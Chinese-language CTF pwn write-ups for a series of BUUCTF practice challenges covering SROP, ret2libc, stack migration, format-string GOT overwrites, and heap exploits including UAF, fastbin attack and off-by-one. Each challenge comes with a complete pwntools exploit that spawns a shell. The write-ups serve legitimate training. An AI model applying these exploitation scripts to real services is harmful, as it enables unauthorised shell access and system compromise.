难道SROP退出历史舞台了🐎
是我傻了,我给弄成str().encode()了,应该用bytes()…
早知道自己手撕一个frame可能还好点
前面的解法我们使用了gadget中给出的59号系统调用execve
,这个解法则是使用了gadget中给出的另外一个15号系统调用rt_sigreturn
系统调用rt_sigreturn
用于恢复用户态的寄存器状态,从栈上保存的数据来恢复寄存器的状态
在正常情况下,由用户态切换到内核态之前,系统会将当前进程的寄存器状态压入栈中,将rt_sigreturn
作为返回地址一并压入;从内核态切回用户态时便通过栈上的数据来恢复寄存器的状态,大致布局如下:
因此我们只需要伪造一个SigreturnFrame执行execve(“/bin/sh”,0,0)即可
使用pwntools中的SigreturnFrame工具可以快速构造一个 fake frame
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.arch = 'amd64' p =remote('node3.buuoj.cn' ,26063 ) e = ELF('./ciscn_s_3' ) mov_rax_15_ret = 0x4004da vuln_addr = 0x4004ed syscall_addr = 0x400517 payload1 = b'A' * 0x10 + p64(vuln_addr) p.sendline(payload1) p.recv(0x20 ) stack_leak = u64(p.recv(8 )) - 0x118 log.info("stack addr: " + hex (stack_leak)) frame = SigreturnFrame() frame.rax = 0x3b frame.rip = syscall_addr frame.rdi = stack_leak frame.rsi = 0 frame.rdx = 0 payload2 = b'/bin/sh\x00' + p64(0xdeadbeef ) + p64(mov_rax_15_ret) + p64(syscall_addr) + bytes (frame) p.sendline(payload2) p.interactive()
运行即得flag
SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图:
当一个用户层进程发起signal时,控制权切到内核层
内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
rt_sigreturn执行完,跳到内核层
内核恢复②中保存的进程上下文,控制权交给用户层进程
先知社区-SROP exploit
0x018.铁人三项(第五赛区)_2018_rop - ret2libc 惯例的checksec
,只开了NX
拖入IDA分析
直接给了一个很大的溢出,但是没有直接getshell的gadget,故考虑构造rop链先泄露read函数真实地址再使用LibcSearcher寻找Libc版本最后构造rop链执行system("/bin/sh")
以getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from LibcSearcher import * from pwn import * p = remote('node3.buuoj.cn',28409)#process('./2018_rop') e = ELF('./2018_rop') offset = 0x88 read_got = e.got['read'] write_plt = e.plt['write'] payload1 = offset * b'A' + p32(0xdeadbeef) + p32(write_plt) + p32(0x8048474) + p32(1) + p32(read_got) + p32(4) p.sendline(payload1) read_str = p.recv(4).ljust(4,b'\x00') print(read_str) read_addr = u32(read_str) libc = LibcSearcher('read',read_addr) libc_base = read_addr - libc.dump('read') sys_addr = libc_base + libc.dump('system') sh_addr = libc_base + libc.dump('str_bin_sh') payload2 = offset * b'A' + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr) p.sendline(payload2) p.interactive()
0x019.bjdctf_2020_babyrop - ret2csu + ret2libc 惯例checksec
,只开了栈不可执行保护
拖入IDA进行分析
可以发现在vuln()
函数处存在栈溢出
由于没有后面函数,故考虑ret2libc构造rop链执行system("/bin/sh")
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn' ,28167 ) e = ELF('./bjdctf_2020_babyrop' ) pop_rdi_ret = 0x400733 puts_plt = e.plt['puts' ] puts_got = e.got['puts' ] offset = 0x20 payload1 = offset*b'A' + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym['vuln' ]) p.recv() p.sendline(payload1) puts_str = p.recvuntil(b'\nPull up' ,drop = True ).ljust(8 ,b'\x00' ) print (puts_str)puts_addr = u64(puts_str) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = offset*b'A' + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
运行脚本,得到flag
0x01A.pwn2_sctf_2016 - integer overflow + ret2libc 惯例checksec
,发现只开了NX保护
![0QJ_UK7O_A2KJOURYNP`_KW.png](https://i.loli.net/2020/10/09/j5cJeXs3HS4VQr2.png )
拖入IDA进行分析
在vuln()
函数中使用get_n()
函数读入4字节并使用atoi()
转为数字,若是大于32则退出,否则再一次调用get_n()
函数进行读入
![A`GN6_COM3ZZ5BGCO0P1~AK.png](https://i.loli.net/2020/10/09/IUtdTGcg2eHshOn.png )
不过我们可以发现在get_n()
函数中,其所接收的第二个参数为unsigned int
,若是我们读入数字-1
则会发生整数溢出变成一个巨大的正数,那么在这里便存在溢出点了
文件本身不存在可以直接getshell的函数(并且附赠了一堆没用的gadget),故考虑ret2libc ,首先泄漏出printf函数地址,再使用LibcSearcher得到libc,最后构造system("/bin/sh")
即可
程序中存在%s
字符串供打印
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *e = ELF('./pwn2_sctf_2016' ) bss_addr = 0x804A040 fmtstr_addr = 0x8048702 printf_got = e.got['printf' ] printf_plt = e.plt['printf' ] main_addr = e.sym['main' ] payload = b'A' *0x2c + p32(0xdeadbeef ) + p32(printf_plt) + p32(main_addr) + p32(fmtstr_addr) + p32(printf_got) p =remote('node3.buuoj.cn' ,29032 ) p.sendline(b'-1' ) p.sendline(payload) p.recvuntil(b'You said' ) p.recvuntil(b'\n' ) printf_addr = u32(p.recv(4 )) libc = LibcSearcher('printf' ,printf_addr) libc_base = printf_addr - libc.dump('printf' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' *0x2c + p32(0xdeadbeef ) + p32(sys_addr) + 5 *p32(sh_addr) p.sendline(b'-1' ) p.sendline(payload2) p.interactive()
运行即可getshell
0x01B.others_shellcode 直接连接就有flag了…
0x01C.[HarekazeCTF2019]baby_rop2 - ret2csu + ret2libc 惯例的checksec
,发现只开了NX
拖入IDA进行分析
主函数中存在溢出,不过没有可以利用的函数,故考虑ret2libc:先使用printf泄露read函数地址再用LibcSearcher得到libc最后构造rop链执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *e = ELF('./babyrop2' ) pop_rsi_r15_ret = 0x400731 pop_rdi_ret = 0x400733 fmtstr = 0x400790 read_got = e.got['read' ] printf_plt = e.plt['printf' ] main_addr = e.sym['main' ] payload = b'A' *0x20 + p64(0xdeadbeef ) + p64(pop_rsi_r15_ret) + p64(read_got) +p64(0 ) + p64(pop_rdi_ret) + p64(fmtstr) + p64(printf_plt) + p64(e.sym['main' ]) p = remote('node3.buuoj.cn' ,25106 ) p.recv() p.sendline(payload) str = p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )print (str )read_addr = u64(str ) libc = LibcSearcher('read' ,read_addr) libc_base = read_addr - libc.dump('read' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' *0x20 + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
运行,得到flag藏的位置好深啊
0x01D.ez_pz_hackover_2016 - ret2shellcode 惯例的checksec
,保护全关,暗示我们可以为所欲为
拖入IDA进行分析
在chall()
函数中给我们泄露了一个栈上地址,并读入1023字节,无法溢出
但是在vuln函数中会拷贝一次我们的输入,可以溢出
由于给了一个栈上地址,故考虑输入一段shellcode后跳转即可
需要注意的一个点是vuln()
函数是将传入的参数的地址作为参数传入memcpy的 ,故实际上会额外拷贝0xec - 0xd0 = 0x1c字节,那么我们填充到ebp所需的padding长度其实只需要0x32 - 0x1c = 0x16字节
泄露出来的地址和我们拷贝到的地址上的shellcode间距为0x9ec - 0x9d0 = 0x1c,直接跳转过去即可,需要注意的是因为memcpy拷贝了长达0x400字节的内容,会将我们第一次输入的数据尽数破坏,故我们只能向拷贝后的地址跳
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.arch = 'i386' p = process("./ez_pz_hackover_2016" ) offset = 0x16 verify = b"crashme\x00" p.recvuntil("lets crash: " ) stack_leak = int (p.recvuntil('\n' )[:-1 ], 16 ) log.info("stack leak: " + hex (stack_leak)) payload = verify + b'A' * (offset - len (verify)) + p32(0xdeadbeef ) payload += p32(stack_leak - 0x1c ) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()
运行,得到flag
0x01E.ciscn_2019_es_2 - ret2text + stack migration 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
存在溢出,且读取两次输出两次,故第一次我们可以填充0x28字节获得一个栈上地址
存在system函数
由于溢出只有8个字节,而我们能够获得栈上地址,故考虑进行栈迁移 ,在栈上构造ROP链
题目中只给了system()
函数,没给/bin/sh
字符串,不过由于栈上地址可知,故我们可以将之读取到栈上
gdb调试可知我们的输入与所泄露地址间距为0xe18 - 0xde0 = 0x38
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.arch = 'i386' p = remote("node3.buuoj.cn" , 25040 ) e = ELF("./ciscn_2019_es_2" ) offset = 0x28 leave_ret = 0x80485FD payload = b'A' * offset p.recv() p.send(payload) p.recvuntil(payload) stack_leak = u32(p.recv(4 )) log.info(hex (stack_leak)) payload2 = p32(e.sym['system' ]) + p32(0xdeadbeef ) + p32(stack_leak-0x38 + 12 ) + b'/bin/sh\x00' payload2 += b'A' * (offset - len (payload2)) + p32(stack_leak - 0x38 - 4 ) + p32(leave_ret) p.sendline(payload2) p.interactive()
运行即得flag
0x01F.[Black Watch 入群题]PWN - ret2libc + stack migration 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
第一次往bss段上读入0x200字节,第二次往栈上读入0x20字节,只能刚好溢出8个字节
故考虑进行栈迁移将栈迁移到bss段上
由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")
即可
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *p = remote("node3.buuoj.cn" , 29227 ) e = ELF("./spwn" ) bss_addr = 0x0804A300 leave_ret = 0x8048511 payload1 = p32(e.plt['write' ]) + p32(e.sym['main' ]) + p32(1 ) + p32(e.got['write' ]) + p32(4 ) payload2 = b'A' * 0x18 + p32(bss_addr - 4 ) + p32(leave_ret) p.send(payload1) p.recvuntil(b'What do you want to say?' ) p.send(payload2) write_addr = u32(p.recv(4 )) log.info(hex (write_addr)) libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload3 = p32(sys_addr) + p32(0xdeadbeef ) + p32(sh_addr) p.recvuntil(b"What is your name?" ) p.send(payload3) p.recvuntil(b'What do you want to say?' ) p.send(payload2) p.interactive()
运行即得flag
0x020.jarvisoj_level3 - ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
存在120字节的溢出
由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *p = process('./level3' ) e = ELF('./level3' ) offset = 0x88 payload1 = b'A' * offset + p32(0xdeadbeef ) + p32(e.plt['write' ]) + p32(e.sym['main' ]) + p32(1 ) + p32(e.got['write' ]) + p32(4 ) p.recv() p.send(payload1) write_addr = u32(p.recv(4 )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' *offset + p32(0xdeadbeef ) + p32(sys_addr) + p32(0xdeadbeef ) + p32(sh_addr) p.sendline(payload2) p.interactive()
运行即得flag
感觉ret2libc的题基本都大同小异啊…
0x021.[BJDCTF 2nd]test - Linux基础知识 题目只给了一个ssh,尝试进行连接
尝试一下发现我们无法直接获得flag
查看一下文件权限,发现只有ctf_pwn
用户组才有权限
提示告诉我们有一个可执行文件test与其源码,尝试阅读
该程序会将我们的输入作为命令执行,但是会过滤一部分字符
尝试使用如下指令查看剩余的可用命令
1 `$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"`
我们发现在test程序中有效用户组为ctf_pwn
,故使用该程序获取一个shell即可获得flag
0x022.[BJDCTF 2nd]r2t4 - fmtstr 惯例的checksec
,开了NX和canary
拖入IDA进行分析
main中存在溢出,且存在格式化字符串漏洞
存在可以读取flag的后门函数
简单尝试可以发现格式化字符串是位于栈上的第六个参数
故考虑利用格式化字符串进行任意地址写劫持got表中的__stack_chk_fail为后门函数地址即可
需要注意的是printf
函数遇到\x00
会发生截断,故不能直接使用fmtstr_payload,而是要用手写的格式化字符串
构造exp如下:
1 2 3 4 5 6 7 8 from pwn import *p = process('./r2t4' ) e = ELF('./r2t4' ) backdoor = 0x400626 payload = b'%64c%9$hn%1510c%10$hnaaa' + p64(e.got['__stack_chk_fail' ]+2 ) + p64(e.got['__stack_chk_fail' ]) payload.ljust(100 ,b'A' ) p.sendline(payload) p.interactive()
获得flag
0x023.jarvisoj_fm - fmtstr 惯例的checksec
,开了NX和canary
拖入IDA进行分析,存在格式化字符串漏洞
当x为4时直接getshell,x在bss段上
格式化字符串在第13个参数的位置
故构造exp如下:
1 2 3 4 5 6 7 from pwn import *payload = fmtstr_payload(11 ,{0x804A02C :0x4 }) p = remote('node3.buuoj.cn' ,25865 ) p.sendline(payload) p.interactive()
运行即得flag
0x024.jarvisoj_tell_me_something - ret2csu + ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
直接就有一个很大的溢出
由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn' ,26270 ) e= ELF('./guestbook' ) offset = 0x88 pop_rdi_ret = 0x4006F3 pop_rsi_r15_ret = 0x4006f1 payload1 = b'A' * offset + p64(pop_rsi_r15_ret) + p64(e.got['write' ]) + p64(0 ) + p64(pop_rdi_ret) + p64(1 ) + p64(e.plt['write' ]) + p64(e.sym['main' ]) p.sendline(payload1) p.recvuntil(b'I have received your message, Thank you!\n' ) write_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' * offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
运行即得flag
0x025.[BJDCTF 2nd]ydsneedgirlfriend2 - overwrite 惯例的checksec
,开了NX和canary
拖入IDA进行分析
看起来是一道堆题,存在分配、释放、打印堆块的功能
同时我们可以发现程序中存在后门函数
题目提示是Ubuntu18,也就是libc2.27,引入了tcache机制,但是没有tcache double free验证的版本
add函数中似乎只能分配7个堆块,空间有点紧张,而且每次分配后都会覆盖掉原来的堆块指针
好在free后未将指针置0,存在Use After Free 漏洞
同时我们可以发现show()
函数中调用的是girlfriend[0][1]中的数据作为函数指针来执行,而girlfriend 本身就是一个指针,在初始时分配的是0x10大小的堆块
故我们只需要初始化girlfriend后free掉girlfriend再重新分配一个0x10大小的堆块即可改写该指针为后门函数地址后再show即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *p = process('./girlfriend' ) backdoor = 0x400D86 def cmd (command:int ): p.recvuntil(b'u choice :' ) p.sendline(str (command).encode()) def new (size:int , content ): cmd(1 ) p.recvuntil(b"Please input the length of her name:" ) p.send(str (size).encode()) p.recvuntil(b"Please tell me her name:" ) p.send(content) def delete (index:int ): cmd(2 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) def show (index:int ): cmd(3 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) def exp (): new(0x80 , "arttnba3" ) delete(0 ) new(0x10 , p64(0 ) + p64(backdoor)) show(0 ) p.interactive() if __name__ == "__main__" : exp()
运行即可getshell
0x026.jarvisoj_level4 - ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
直接就有一个很大的溢出
由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")
即可
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *p = process('./level4' ) e = ELF('./level4' ) offset = 0x88 payload1 = b'A' * offset + p32(0xdeadbeef ) + p32(e.plt['write' ]) + p32(e.sym['main' ]) + p32(1 ) + p32(e.got['write' ]) + p32(4 ) p.send(payload1) write_addr = u32(p.recv(4 )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' *offset + p32(0xdeadbeef ) + p32(sys_addr) + p32(0xdeadbeef ) + p32(sh_addr) p.sendline(payload2) p.interactive()
运行即得flag
0x027.[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget 又是一道堆题来了,看来往后应该都是堆题为主了,不出所料,保 护 全 开
同时题目提示Ubuntu16,也就是说没有tcache
拖入IDA进行分析
这是一道有着分配、打印、释放、编辑堆块的功能的堆题,不难看出我们只能分配10个堆块,不过没有tcache的情况下,空间其实还是挺充足的
漏洞点在edit函数中,会多读入一个字节,存在off by one漏洞 ,利用这个漏洞我们可以修改一个堆块的物理相邻的下一个堆块的size
由于题目本身仅允许分配大小小于111的chunk,而进入unsorted bin需要malloc(0x80)的chunk,故我们还是考虑利用off by one的漏洞改大一个chunk的size送入unsorted bin后分割造成overlapping的方式获得libc的地址
因为刚好fastbin attack所用的chunk的size为0x71,故我们将这个大chunk的size改为 0x70 + 0x70 + 1 = 0xe1
即可
fastbin attack中分配到__malloc_hook附近的fake chunk通常都是malloc(0x60),也就是size == 0x71,这是因为在__malloc_hook - 0x23这个地址上fake chunk的SIZE的位置刚好是0x7f
,满足了绕过fastbin的size检查的要求
传统思路是将__malloc_hook改为one_gadget以getshell,但是直接尝试我们会发现根本无法getshell
这是因为one_gadget并非任何时候都是通用的,都有一定的先决条件,而当前的环境刚好不满足one_gadget的环境
那么这里我们可以尝试使用realloc函数中的gadget来进行压栈等操作来满足one_gadget的要求,该段gadget执行完毕后会跳转至__realloc_hook(若不为NULL)
而__realloc_hook和__malloc_hook刚好是挨着的,我们在fastbin attack时可以一并修改
故考虑修改__malloc_hook跳转至realloc函数开头的gadget调整堆栈,修改__realloc_hook为one_gadget即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *p = remote('node3.buuoj.cn' , 28978 ) libc = ELF('./libc-2.23.so' ) context.log_level = 'DEBUG' one_gadget = 0x4526a def cmd (command:int ): p.recvuntil(b"choice: " ) p.sendline(str (command).encode()) def new (size:int , content ): cmd(1 ) p.recvuntil(b"size?" ) p.sendline(str (size).encode()) p.recvuntil(b"content:" ) p.send(content) def edit (index:int , content ): cmd(2 ) p.recvuntil(b"idx?" ) p.sendline(str (index).encode()) p.recvuntil(b"content:" ) p.send(content) def show (index:int ): cmd(3 ) p.recvuntil(b"idx?" ) p.sendline(str (index).encode()) def free (index:int ): cmd(4 ) p.recvuntil(b"idx?" ) p.sendline(str (index).encode()) def exp (): new(0x18 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) edit(0 , b'A' * 0x10 + p64(0 ) + b'\xe1' ) free(1 ) new(0x60 , "arttnba3" ) show(2 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 88 malloc_hook = main_arena - 0x10 libc_base = main_arena - 0x3c4b20 log.success("libc addr: " + hex (libc_base)) new(0x60 , "arttnba3" ) free(2 ) free(1 ) free(4 ) new(0x60 , p64(libc_base + libc.sym['__malloc_hook' ] - 0x23 )) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , b'A' * (0x13 - 8 ) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc' ] + 0x10 )) cmd(1 ) p.sendline(b'1' ) p.interactive() if __name__ == '__main__' : exp()
运行即可get shell
不得不说V&N出的题质量还是可以的
0x028.jarvisoj_level3_x64 - ret2csu + ret2libc 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
直接就有一个很大的溢出
由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")
即可
两个小gadget的地址如下
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *p = process('./level3_x64' ) e = ELF('./level3_x64' ) write_got = e.got['write' ] write_plt = e.plt['write' ] offset = 0x80 pop_rsi_r15_ret = 0x4006b1 pop_rdi_ret = 0x4006b3 payload1 = b'A' * offset + p64(0xdeadbeef ) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(1 ) + p64(write_plt) + p64(e.sym['main' ]) p.recv() p.sendline(payload1) write_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) sh_addr = libc_base + libc.dump('str_bin_sh' ) sys_addr = libc_base + libc.dump('system' ) payload2 = b'A' * offset + p64(0xdeadbeef ) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
运行即可getshell
0x029.bjdctf_2020_babystack2 - integer overflow + ret2text 惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析
read读入时会把signed转成unsigned, 输入-1即可绕过检测
同时我们发现存在后门函数,返回至此即可
构造exp如下:
1 2 3 4 5 6 7 8 9 from pwn import *p = process('./bjdctf_2020_babystack2' ) backdoor = 0x400726 offset = 0x10 payload = b'A' * offset + p64(0xdeadbeef ) + p64(backdoor) p.sendline(str (-1 ).encode()) p.sendline(payload) p.interactive()
运行即可getshell
0x02A.hitcontraining_uaf - UAF + fastbin double free 漏洞直接在题目名称里说明了事UAF
惯例的checksec
,发现只开了栈不可执行保护
拖入IDA进行分析,我们可以发现这个程序有着分配、打印、释放堆块的功能
不难看出在添加堆块时首先会分配一个8字节大小的chunk,该chunk前4字节储存一个函数指针,后4字节则储存实际分配的chunk的指针
在打印堆块时会调用小chunk中的函数指针来打印堆块内容
同时我们可以发现在释放堆块的过程中并未将堆块指针置0,存在UAF漏洞
同时我们可以发现存在后门函数
故考虑通过fastbin double free分配到同一个堆块后改写函数指针为后门函数地址后打印即可getshell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *p = process('./hacknote' ) backdoor = 0x8048945 def cmd (command:int ): p.recvuntil(b"Your choice :" ) p.sendline(str (command).encode()) def new (size:int , content ): cmd(1 ) p.recvuntil(b"Note size :" ) p.sendline(str (size).encode()) p.recvuntil(b"Content :" ) p.send(content) def free (index:int ): cmd(2 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) def show (index:int ): cmd(3 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) def exp (): new(8 , "arttnba3" ) free(0 ) free(0 ) new(0x20 , "arttnba3" ) new(8 , p32(backdoor)) show(0 ) p.interactive() if __name__ == "__main__" : exp()
运行即可getshell
0x02B.[ZJCTF 2019]EasyHeap - fastbin attack 惯例的checksec
,开了NX和canary
拖入IDA进行分析,可以发现该程序存在分配、编辑、释放堆块的功能
漏洞点在于编辑堆块的地方,可以输入任意长度内容造成堆溢出
利用这个漏洞我们可以修改fastbin中的fd分配fake chunk来进行任意地址写
在bss段附近我们可以找到一个size合适的地方
由于plt表中就有system函数,故考虑分配一个bss段上的fake chunk后修改任一堆块指针为free@got
后修改free@got
为system@plt
后free掉一个内容为"/bin/sh\x00"
的chunk即可get shell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *p = remote('node3.buuoj.cn' ,26930 ) e = ELF('./easyheap' ) backdoor = 0x8048945 context.log_level = 'DEBUG' def cmd (command:int ): p.recvuntil(b"Your choice :" ) p.sendline(str (command).encode()) def new (size:int , content ): cmd(1 ) p.recvuntil(b"Size of Heap : " ) p.sendline(str (size).encode()) p.recvuntil(b"Content of heap:" ) p.send(content) def edit (index:int , size:int , content ): cmd(2 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) p.recvuntil(b"Size of Heap : " ) p.sendline(str (size).encode()) p.recvuntil(b"Content of heap : " ) p.send(content) def free (index:int ): cmd(3 ) p.recvuntil(b"Index :" ) p.sendline(str (index).encode()) def exp (): new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) free(2 ) payload = b'A' * 0x60 + p64(0 ) + p64(0x71 ) + p64(0x6020a0 - 3 + 0x10 ) edit(1 , 114514 , payload) new(0x60 , "arttnba3" ) new(0x60 , "arttnba3" ) payload2 = b'\xaa' * 3 + p64(0 ) * 4 + p64(e.got['free' ]) edit(5 , 0x100 , payload2) edit(0 , 0x10 , p64(e.plt['system' ])) new(0x60 , b'/bin/sh\x00' ) free(6 ) p.interactive() if __name__ == "__main__" : exp()
运行即可getshell
其实有一个cat flag的后门函数,不过pwn的最终目的自然是getshell,所以这个后门函数对👴来说不存在的
0x02C.babyfengshui_33c3_2016 - got table hijack 堆题集中地带请小心
惯例的checksec
,开了NX和canary
拖入IDA进行分析
我们不难看出分配堆块时所生成的大致结构应当如下,且该结构体malloc的大小为0x80,处在unsorted bin 范围内
漏洞点在于对输入长度的检测,它是检测的是我们所输入的长度是否大于从description chunk的addr到struct chunk的prev_size的长度
在常规情况下我们似乎只能够覆写掉PREV_SIZE的一部分,不痛不痒
但是考虑这样的一种情况:我们先分配两个大块(chunk4,其中第一个块的size要在unsorted范围内),之后释放掉第一个大块,再分配一个size更大的块,unsorted bin内就会从这个大chunk(由两个chunk合并而来)中切割一个大chunk给到description,之后再从下方的top chunk切割0x90来给到struct,这个时候*由于对length的错误判定就会导致我们有机会覆写第二个大块中的内容
故考虑先覆写第二个大块中的description addr为free@got后泄漏出libc的基址,后再修改free@got为system函数地址后释放一个内容为"/bin/sh"
的chunk即可通过system("/bin/sh")
来get shell
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *p = process('./babyfengshui_33c3_2016' ) e = ELF('./babyfengshui_33c3_2016' ) libc = ELF('./libc-2.23.so' ) def cmd (command:int ): p.recvuntil(b"Action: " ) p.sendline(str (command).encode()) def new (size:int , name, length:int , descryption ): cmd(0 ) p.recvuntil(b"size of description: " ) p.sendline(str (size).encode()) p.recvuntil(b"name: " ) p.sendline(name) p.recvuntil(b"text length: " ) p.sendline(str (length).encode()) p.recvuntil(b"text: " ) p.sendline(descryption) def free (index:int ): cmd(1 ) p.recvuntil(b"index: " ) p.sendline(str (index).encode()) def show (index:int ): cmd(2 ) p.recvuntil(b"index: " ) p.sendline(str (index).encode()) def edit (index:int , length:int , descryption ): cmd(3 ) p.recvuntil(b"index: " ) p.sendline(str (index).encode()) p.recvuntil(b"text length: " ) p.sendline(str (length).encode()) p.recvuntil(b"text: " ) p.sendline(descryption) def exp (): new(0x80 , "arttnba3" , 0x10 , "arttnba3" ) new(0x10 , "arttnba3" , 0x10 , "arttnba3" ) new(0x10 , "arttnba3" , 0x10 , "/bin/sh\x00" ) free(0 ) big_size = 0x80 + 8 + 0x80 padding_length = 0x80 + 8 + 0x80 + 8 + 0x10 + 8 new(big_size, "arttnba3" , padding_length + 4 , b'A' * padding_length + p32(e.got['free' ])) show(1 ) p.recvuntil(b"description: " ) free_addr = u32(p.recv(4 )) libc_base = free_addr - libc.sym['free' ] edit(1 , 0x10 , p32(libc_base + libc.sym['system' ])) free(2 ) p.interactive() if __name__ == "__main__" : exp()
运行即可get shell
